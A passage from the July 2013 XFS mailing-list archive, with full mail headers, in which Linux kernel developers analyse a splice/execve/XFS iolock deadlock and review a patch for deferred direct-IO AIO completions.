X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6GF2QHt009930 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 16 Jul 2013 11:02:27 -0400 Received: from gelk.kernelslacker.org (ovpn-113-170.phx2.redhat.com [10.3.113.170]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6GF2Kug029433 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 16 Jul 2013 11:02:26 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6GF2JcR007120; Tue, 16 Jul 2013 11:02:19 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6GF2H97007088; Tue, 16 Jul 2013 11:02:17 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Tue, 16 Jul 2013 11:02:17 -0400 From: Dave Jones To: Vince Weaver Cc: Linus Torvalds , Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716150217.GA825@redhat.com> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. Mail-Followup-To: Dave Jones , Vince Weaver , Linus Torvalds , Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373986973 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Jul 16, 2013 at 09:59:35AM -0400, Vince Weaver wrote: > On Mon, 15 Jul 2013, Linus Torvalds wrote: > > > On Mon, Jul 15, 2013 at 7:38 PM, Dave Jones wrote: > > > > > Interestingly, the 'soft lockups' I was > > > seeing all the time on that box seem to have gone into hiding. > > > > Honestly, I'm somewhat inclined to blame the whole perf situation, and > > saying that we hopefully got that fixed. In between the silly do_div() > > buglets and all the indications that the time was spent in nmi > > handlers, I'd be willing to just ignore them as false positives > > brought on by the whole switch to the perf irq.. > > Did the perf soft lockups go away with 3.11-rc1? > > 734df5ab549ca44f40de0f07af1c8803856dfb18 finally got committed, > and it fixes a major long-standing perf-related NMI soft lockup bug I > found when fuzzing. That could be it. I never got around to trying that commit standalone when you first pointed it out. thanks, Dave From bpm@sgi.com Tue Jul 16 14:33:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 383887F37 for ; Tue, 16 Jul 2013 14:33:38 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4A60F304039; Tue, 16 Jul 2013 12:33:33 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 00AD24266DC; Tue, 16 Jul 2013 14:33:32 -0500 (CDT) Date: Tue, 16 Jul 2013 14:33:32 -0500 From: Ben Myers To: Dave Chinner , Linus Torvalds Cc: Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716193332.GB3572@sgi.com> References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130716060351.GE11674@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, Linus, On Tue, Jul 16, 2013 at 04:03:51PM +1000, Dave Chinner wrote: > On Mon, Jul 15, 2013 at 08:25:14PM -0700, Linus Torvalds wrote: > > On Mon, Jul 15, 2013 at 7:38 PM, Dave Jones wrote: > > > > > > The recent trinity changes shouldn't have really made > > > any notable difference here. > > > > Hmm. I'm not aware pf anything that has changed in this area since > > 3.10 - neither in execve, xfs or in splice. Not even since 3.9. > > It's been there for years..... > > > The "pipe -> cred_guard_mutex" lock chain is pretty direct, and can be > > clearly attributed to splicing into /proc. Now, whether that is a > > *good* idea or not is clearly debatable, and I do think that maybe we > > should just not splice to/from proc files, but that doesn't seem to be > > new, and I don't think it's necessarily *broken* per se, it's just > > that splicing into /proc seems somewhat unnecessary, and various proc > > files do end up taking locks that can be "interesting". > > But this is a new way of triggering the inversion, however.... > > > At the other end of the spectrum, the "cred_guard_mutex -> FS locks" > > thing from execve() is also pretty clear, and probably not fixable or > > necessarily something we'd even want to fix. > > > > But the "FS locks -> pipe" part is a bit questionable. Honestly, I'd > > be much happier if XFS used generic_file_splice_read/write(). > > > > And looking more at that, I'm actually starting to think this is an > > XFS locking problem. XFS really should not call back to splice while > > holding the inode lock. CPU0 CPU1 CPU2 ---- ---- ---- lock(&sig->cred_guard_mutex); lock(&pipe->mutex/1); lock(&(&ip->io_lock)->mr_lock); lock(&(&ip->io_lock)->mr_lock); lock(&sig->cred_guard_mutex); lock(&pipe->mutex/1); CPU0 is do_execve_common, which called prepare_bprm_creds which takes the cred_guard_mutex, and it is held across the call to xfs_file_aio_read, which takes the iolock. CPU1 is the /proc related codepath, where splice_from_pipe has held the pipe_lock across the call to __splice_from_pipe, where proc_pid_attr_write is eventually called and goes takes the cred_guard_mutex. CPU2 is xfs_file_splice_write, which takes the iolock and holds it across the call to generic_file_splice_write, which takes the pipe_mutex. Yeah, I'll buy that. > > But that XFS code doesn't seem new either. Is XFS a new thing for you > > to test with? > > I posted patches to fix this i_mutex/i_iolock inversion a couple of > years ago (july 2011): > > https://lkml.org/lkml/2011/7/18/4 > > And V2 was posted here and reviewed (aug 2011): > > http://xfs.9218.n7.nabble.com/PATCH-0-2-splice-i-mutex-vs-splice-write-deadlock-V2-tt4072.html#none > > It didn't get picked up by with a VFS tree, so sat moldering until > somebody else reported it (Nov 2012) and it reposted it again, only > to have it ignored again: > > http://oss.sgi.com/archives/xfs/2012-11/msg00671.html > > And I recently discussed it again with Al w.r.t. filesystem freeze > problems he was looking at, and I was waiting for that to settle > down before I posted the fixes again.... I agree that fixing this in XFS seems to be the most reasonable plan, and Dave's approach looks ok to me. Seems like patch 1 should go through Al's tree, but we'll also need to commit it to the xfs tree prerequisite to patch 2. Dave, I'm sorry for my part in letting these moulder. I'll be happy to review them once you have reposted. Thanks, Ben From linus971@gmail.com Tue Jul 16 15:18:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DE86C7F37 for ; Tue, 16 Jul 2013 15:18:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5CF7CAC001 for ; Tue, 16 Jul 2013 13:18:08 -0700 (PDT) X-ASG-Debug-ID: 1374005886-04cbb0468e1075b20001-NocioJ Received: from mail-vc0-f174.google.com (mail-vc0-f174.google.com [209.85.220.174]) by cuda.sgi.com with ESMTP id DI2GZY3nUnEjKREL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 16 Jul 2013 13:18:06 -0700 (PDT) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.174] Received: by mail-vc0-f174.google.com with SMTP id kw10so799970vcb.19 for ; Tue, 16 Jul 2013 13:18:06 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=xiahYX6Hvda6S3breoYvVo5hjWlpCzIXk+XX4RahNa0=; b=IMmGR7GS6cnLP9YtQ7Fg5HfdHCZ9eMmRKlIYE2toRVoEDN2hI8gMSf3Hpy0V9c/dI+ ujQlMwlVwtBQllo2ez/8uiKq0nh9cwzeibH6fPbmIGgnIlkZQXJvEvq0PtbF53+zW2sG Q4G1z3+U4ysnB+7EdtWC0/uh58aIjKVLMfu1+LJs/x8geBpZ7qvNxRPV+SKiJuidS5Ci AhU+9XsVkpAoKwurgxr5skAIHjyAPiC127tk0qZFIF79O8jfiUxx6dogjO4nkJ5AhZJa 9lLIGiiPpd1lQskY87va5uE7jD58AHYDzAlx5dmfONuFe0fdyKU/NyTnHVw243pV0EYt ZuSQ== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=xiahYX6Hvda6S3breoYvVo5hjWlpCzIXk+XX4RahNa0=; b=QVHrcZ3IKaUAzebE6oPlvOnwi3Qn5BkbsuuLQ0GSuCKWk7KO2iCYITUJQd4voFPkbf WQECFeoDgtt1+NXYhKG1jhecIIpLmbh1Ji3yne5CjTL97W2jXdIWXfddrmGxWg1/JavI z4jbdVMvd6bVVXQ8QNd4drB4uSef3IR1mGego= MIME-Version: 1.0 X-Received: by 10.52.248.166 with SMTP id yn6mr821693vdc.41.1374005886503; Tue, 16 Jul 2013 13:18:06 -0700 (PDT) Sender: linus971@gmail.com Received: by 10.220.237.15 with HTTP; Tue, 16 Jul 2013 13:18:06 -0700 (PDT) In-Reply-To: <20130716193332.GB3572@sgi.com> References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> Date: Tue, 16 Jul 2013 13:18:06 -0700 X-Google-Sender-Auth: r29f09rx7uhQZojc3E0-PTPVg18 Message-ID: Subject: Re: splice vs execve lockdep trace. From: Linus Torvalds X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. To: Ben Myers Cc: Dave Chinner , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vc0-f174.google.com[209.85.220.174] X-Barracuda-Start-Time: 1374005886 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136957 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Jul 16, 2013 at 12:33 PM, Ben Myers wrote: >> > >> > And looking more at that, I'm actually starting to think this is an >> > XFS locking problem. XFS really should not call back to splice while >> > holding the inode lock. .. that was misleading, normally "inode lock" would be i_lock, but here I meant the XFS-specific i_iolock. But you clearly picked up on it: > CPU0 CPU1 CPU2 > ---- ---- ---- > lock(&sig->cred_guard_mutex); > lock(&pipe->mutex/1); > lock(&(&ip->io_lock)->mr_lock); > lock(&(&ip->io_lock)->mr_lock); > lock(&sig->cred_guard_mutex); > lock(&pipe->mutex/1); Yup. > I agree that fixing this in XFS seems to be the most reasonable plan, > and Dave's approach looks ok to me. Seems like patch 1 should go > through Al's tree, but we'll also need to commit it to the xfs tree > prerequisite to patch 2. Btw, is there some reason why XFS couldn't just use generic_file_splice_read() directly? I'm not arguing against Dave's patches, since the splice_write case would seem to want them regardless, but I'm not even seeing why XFS couldn't just avoid the locking for the splice_read case entirely..And the generic file-splice read function does all that read-ahead stuff and should actually be better for performance. And because it does it from the page cache, it can avoid the locking issues (because it gets the splice pipe lock later, just holding on to the page references). And splice has mmap semantics - the whole point of splice is about moving pages around, after all - so I *think* your current "xfs_rw_ilock(ip, XFS_IOLOCK_SHARED);" is actually over-serialization. The pages will be shared by the pipe buffers anyway, so splicing by definition doesn't imply full data serialization (because the reading of the data itself will happen much later). So the per-page serialization done by readpage() should already be sufficient, no? I dunno. Maybe there's something I'm missing. XFS does seem to wrap all the other generic functions in that lock too, but since mmap() etc clearly have to be able to get things one page at a time (without any wrapping at higher layers), I'm just wondering whether splice_read might not be able to avoid it. Linus From david@fromorbit.com Tue Jul 16 15:43:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 198E77F37 for ; Tue, 16 Jul 2013 15:43:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 04456304043 for ; Tue, 16 Jul 2013 13:43:41 -0700 (PDT) X-ASG-Debug-ID: 1374007419-04cbb0468f10782d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HUH0IiS7li0Mlvjt for ; Tue, 16 Jul 2013 13:43:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq0OAE6v5VF5LK4r/2dsb2JhbABagwa9SoUwBAGBERd0giMBAQQBJxMcIwULCAMYCSUPBSUDIROICgW1ahaOLIEdB4N5A5dbkU6DJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail05.adl6.internode.on.net with ESMTP; 17 Jul 2013 06:13:38 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UzC5v-0005JZ-NA; Wed, 17 Jul 2013 06:43:35 +1000 Date: Wed, 17 Jul 2013 06:43:35 +1000 From: Dave Chinner To: Linus Torvalds Cc: Ben Myers , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716204335.GH11674@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> <20130716060351.GE11674@dastard> <20130716193332.GB3572@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374007419 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136959 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 16, 2013 at 01:18:06PM -0700, Linus Torvalds wrote: > On Tue, Jul 16, 2013 at 12:33 PM, Ben Myers wrote: > >> > > >> > And looking more at that, I'm actually starting to think this is an > >> > XFS locking problem. XFS really should not call back to splice while > >> > holding the inode lock. > > .. that was misleading, normally "inode lock" would be i_lock, but > here I meant the XFS-specific i_iolock. > > But you clearly picked up on it: > > > CPU0 CPU1 CPU2 > > ---- ---- ---- > > lock(&sig->cred_guard_mutex); > > lock(&pipe->mutex/1); > > lock(&(&ip->io_lock)->mr_lock); > > lock(&(&ip->io_lock)->mr_lock); > > lock(&sig->cred_guard_mutex); > > lock(&pipe->mutex/1); > > Yup. > > > I agree that fixing this in XFS seems to be the most reasonable plan, > > and Dave's approach looks ok to me. Seems like patch 1 should go > > through Al's tree, but we'll also need to commit it to the xfs tree > > prerequisite to patch 2. > > Btw, is there some reason why XFS couldn't just use > generic_file_splice_read() directly? Yes - IO is serialised based on the ip->i_iolock, not i_mutex. We don't use i_mutex for many things IO related, and so internal locking is needed to serialise against stuff like truncate, hole punching, etc, that are run through non-vfs interfaces. > And splice has mmap semantics - the whole point of splice is about > moving pages around, after all - so I *think* your current > "xfs_rw_ilock(ip, XFS_IOLOCK_SHARED);" is actually over-serialization. No, that's just taking the ip->i_iolock in shared mode - that's less serialisation than holding i_mutex as it allow parallel read operations but still locks out concurrent buffered writes to the file (i.e. posix atomic write vs read requirements) > The pages will be shared by the pipe buffers anyway, so splicing by > definition doesn't imply full data serialization (because the reading > of the data itself will happen much later). > > So the per-page serialization done by readpage() should already be > sufficient, no? > > I dunno. Maybe there's something I'm missing. XFS does seem to wrap > all the other generic functions in that lock too, but since mmap() etc > clearly have to be able to get things one page at a time (without any > wrapping at higher layers), I'm just wondering whether splice_read > might not be able to avoid it. Read isn't the problem - it's write that's the deadlock issue... Cheers, Dave. > > Linus > -- Dave Chinner david@fromorbit.com From jack@suse.cz Tue Jul 16 16:00:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 370847F37 for ; Tue, 16 Jul 2013 16:00:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F2C92304043 for ; Tue, 16 Jul 2013 14:00:30 -0700 (PDT) X-ASG-Debug-ID: 1374008428-04cbb046901079890001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id CHQizBgmnjz3Bv7z for ; Tue, 16 Jul 2013 14:00:28 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 4298BA5211; Tue, 16 Jul 2013 23:00:28 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 2361680E5E; Tue, 16 Jul 2013 23:00:27 +0200 (CEST) Date: Tue, 16 Jul 2013 23:00:27 +0200 From: Jan Kara To: Dave Chinner Cc: Jan Kara , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, hch@infradead.org, Jeff Moyer , Al Viro , linux-ext4@vger.kernel.org, Christoph Hellwig Subject: Re: [PATCH 1/2] direct-io: Implement generic deferred AIO completions Message-ID: <20130716210027.GA9595@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 1/2] direct-io: Implement generic deferred AIO completions References: <1373493739-2243-1-git-send-email-jack@suse.cz> <20130712004421.GE3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130712004421.GE3438@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1374008428 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136961 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC5_SA210e Custom Rule SA210e On Fri 12-07-13 10:44:21, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 12:02:18AM +0200, Jan Kara wrote: > > From: Christoph Hellwig > > > > Add support to the core direct-io code to defer AIO completions to user > > context using a workqueue. This replaces opencoded and less efficient > > code in XFS and ext4 and will be needed to properly support O_(D)SYNC > > for AIO. > > I don't see how this is any more efficient than the deferral > that XFS already does for direct IO completion - it just changes > what queues IO for completions. I didn't change the changelog so it's upto Christoph to tell. But I can remove the 'less efficient' part from the changelog if you want. > And on that topic: > > > Currently this creates a per-superblock unbound workqueue for these > > completions, which is taken from an earlier patch by Jan Kara. I'm > > not really convinced about this use and would prefer a "normal" global > > workqueue with a high concurrency limit, but this needs further discussion. > > Unbound workqueues sacrifice locality for immediate dispatch. > AIO-DIO performance at the high end is determined by IO submission > and completion locality - we want submission and completion to occur > on the same CPU as much as possible so cachelines are not bounced > aroundi needlessly. An unbound workqueue would seem to be the wrong > choice on this basis alone. > > Further the use of @max_active = 1 means that it is a global, single > threaded workqueue. While ext4 might require single threaded > execution of unwritten extent completion, it would be introducing a > massive bottleneck into XFS which currently uses the default > concurrency depth of 256 worker threads per CPU per superblock just > for unwritten extent conversion. > > Hmmmm. I notice that the next patch then does generic_write_sync() > is the IO completion handler, too. In XFS that causes log forces and > will block, so that's yet more concurrency required that is required > for this workqueue. Doing this in a single threaded workqueue and > marshalling all sync AIO through it is highly unfriendly to > concurrent IO completion. > > FWIW, in XFS we queue unwritten extent conversion completions on a > different workqueue to EOF size update completions because the > latter are small, fast and rarely require IO or get blocked. The > data IO completion workqueue for EOF updates has the same > concurrency and depth as the unwritten extent work queue (i.e. 256 > workers per cpu per superblock). So pushing all of this DIO and EOF > completion work into a single threaded global workqueue that can > block in every IO completion doesn't seem like a very smart idea to > me... OK, so you'd rather have the workqueue created like: alloc_workqueue("dio-sync", WQ_MEM_RECLAIM, 0) I can certainly try that. ext4 should handle that fine. And I agree with your arguments for high end devices. I'm just wondering whether it won't do some harm to a simple SATA drive. Having more threads trying to do extent conversion in parallel might cause the drive to seek more. > > -static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is_async) > > +static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, > > + bool is_async) > > { > > ssize_t transferred = 0; > > > > @@ -258,19 +262,26 @@ static ssize_t dio_complete(struct dio *dio, loff_t offset, ssize_t ret, bool is > > if (ret == 0) > > ret = transferred; > > > > - if (dio->end_io && dio->result) { > > - dio->end_io(dio->iocb, offset, transferred, > > - dio->private, ret, is_async); > > - } else { > > - inode_dio_done(dio->inode); > > - if (is_async) > > - aio_complete(dio->iocb, ret, 0); > > - } > > + if (dio->end_io && dio->result) > > + dio->end_io(dio->iocb, offset, transferred, dio->private); > > Ok, so by here we are assuming all filesystem IO completion > processing is completed. Yes. > > + > > + inode_dio_done(dio->inode); > > + if (is_async) > > + aio_complete(dio->iocb, ret, 0); > > > > + kmem_cache_free(dio_cache, dio); > > return ret; > > Hmmm. I started wonder if this is valid, because XFS is supposed to > be doing workqueue based IO completion for appending writes and they > are supposed to be run in a workqueue. > > But, looking at the XFS code, there's actually a bug in the direct > IO completion code and we are not defering completion to a workqueue > like we should be for the append case. This code in > xfs_finish_ioend() demonstrates the intent: > > if (ioend->io_type == XFS_IO_UNWRITTEN) > queue_work(mp->m_unwritten_workqueue, &ioend->io_work); > else if (ioend->io_append_trans || > >>>>>> (ioend->io_isdirect && xfs_ioend_is_append(ioend))) > queue_work(mp->m_data_workqueue, &ioend->io_work); > > The problem is that we only ever call xfs_finish_ioend() if is_async > is true, and that will never be true for direct IO beyond the current > EOF. That's a bug, and is Bad(tm). > > [ Interestingly, it turns out that dio->is_async is never set for > writes beyond EOF because of filesystems that update file sizes > before data IO completion occurs (stale data exposure issues). For > XFS, that can't happen and so dio->is_async could always be set.... ] > > What this means is that there's a condition for work queue deferral > of DIO IO completion that this patch doesn't handle. Setting deferral > only on unwritten extents like this: > > > @@ -1292,8 +1281,10 @@ __xfs_get_blocks( > > if (create || !ISUNWRITTEN(&imap)) > > xfs_map_buffer(inode, bh_result, &imap, offset); > > if (create && ISUNWRITTEN(&imap)) { > > - if (direct) > > + if (direct) { > > bh_result->b_private = inode; > > + set_buffer_defer_completion(bh_result); > > + } > > set_buffer_unwritten(bh_result); > > } > > } > > misses that case. I suspect Christoph's original patch predated the > changes to XFS that added transactional file size updates to IO > completion and so didn't take it into account. OK, thanks for catching this. Doing the i_size check in _xfs_get_blocks() would be somewhat cumbersome I presume so I guess we can handle that case by adding __blockdev_direct_IO() flag to defer dio completion to a workqueue. XFS can then set the flag when it sees it needs and i_size update. OK? > > @@ -1390,9 +1381,7 @@ xfs_end_io_direct_write( > > struct kiocb *iocb, > > loff_t offset, > > ssize_t size, > > - void *private, > > - int ret, > > - bool is_async) > > + void *private) > > { > > struct xfs_ioend *ioend = iocb->private; > > > > @@ -1414,17 +1403,10 @@ xfs_end_io_direct_write( > > > > ioend->io_offset = offset; > > ioend->io_size = size; > > - ioend->io_iocb = iocb; > > - ioend->io_result = ret; > > if (private && size > 0) > > ioend->io_type = XFS_IO_UNWRITTEN; > > > > - if (is_async) { > > - ioend->io_isasync = 1; > > - xfs_finish_ioend(ioend); > > - } else { > > - xfs_finish_ioend_sync(ioend); > > - } > > + xfs_finish_ioend_sync(ioend); > > } > > As i mentioned, the existing code here is buggy. What we should be > doing here is: > > if (is_async) { > ioend->io_isasync = 1; > xfs_finish_ioend(ioend); > } else if (xfs_ioend_is_append(ioend))) { > xfs_finish_ioend(ioend); > } else { > xfs_finish_ioend_sync(ioend); > } Umm, I started to wonder why do you actually need to defer the completion for appending ioend. Because if DIO isn't async, dio_complete() won't be called from interrupt context but from __blockdev_direct_IO(). So it seems you can do everything you need directly there without deferring to a workqueue. But maybe there's some locking subtlety I'm missing. > Which means that the new code boils down to: > > if (xfs_ioend_is_append(ioend))) > xfs_finish_ioend(ioend); > else > xfs_finish_ioend_sync(ioend); > > And now we see the problem with the only defering unwritten IO - > the new direct IO code will think IO is completed when all we've > done is queued it to another workqueue. I agree. New direct IO completion handlers have to really finish everything without deferring to a separate workqueue. ext4 had a same bug but there I caught it and fixed. > I'm not sure we can handle this in get_blocks - we don't have the > context to know how to treat allocation beyond the current EOF. > Indeed, the current block being mapped might not be beyond EOF, but > some of the IO might be (e.g. lies across an extent boundary), > so setting the deferred completion in get_blocks doesn't allow the > entire IO to be treated the same. > > So I think there's a bit of re-thinking needed to aspects of this > patch to be done. Additional flag to __blockdev_direct_IO() should solve this as I wrote above (if you really need it). > > + * avoids problems with pseudo filesystems which get initialized > > + * before workqueues can be created > > + */ > > + if (type->fs_flags & FS_REQUIRES_DEV) { > > + s->s_dio_done_wq = > > + alloc_workqueue("dio-sync", WQ_UNBOUND, 1); > > The workqueue name needs to be combined with the fs_name so we know > what filesystem is having problems in sysrq-w output. Yes, that's reasonable. However that means we'll have to initialize the workqueue later. Hum.. I think I will return to the on-demand creation of the workqueue as I originally had in my patch set. Honza -- Jan Kara SUSE Labs, CR From linus971@gmail.com Tue Jul 16 16:02:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE04C7F37 for ; Tue, 16 Jul 2013 16:02:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52FE5AC003 for ; Tue, 16 Jul 2013 14:02:15 -0700 (PDT) X-ASG-Debug-ID: 1374008533-04bdf0245b84230001-NocioJ Received: from mail-vc0-f182.google.com (mail-vc0-f182.google.com [209.85.220.182]) by cuda.sgi.com with ESMTP id wVkalFYS8A9JPy06 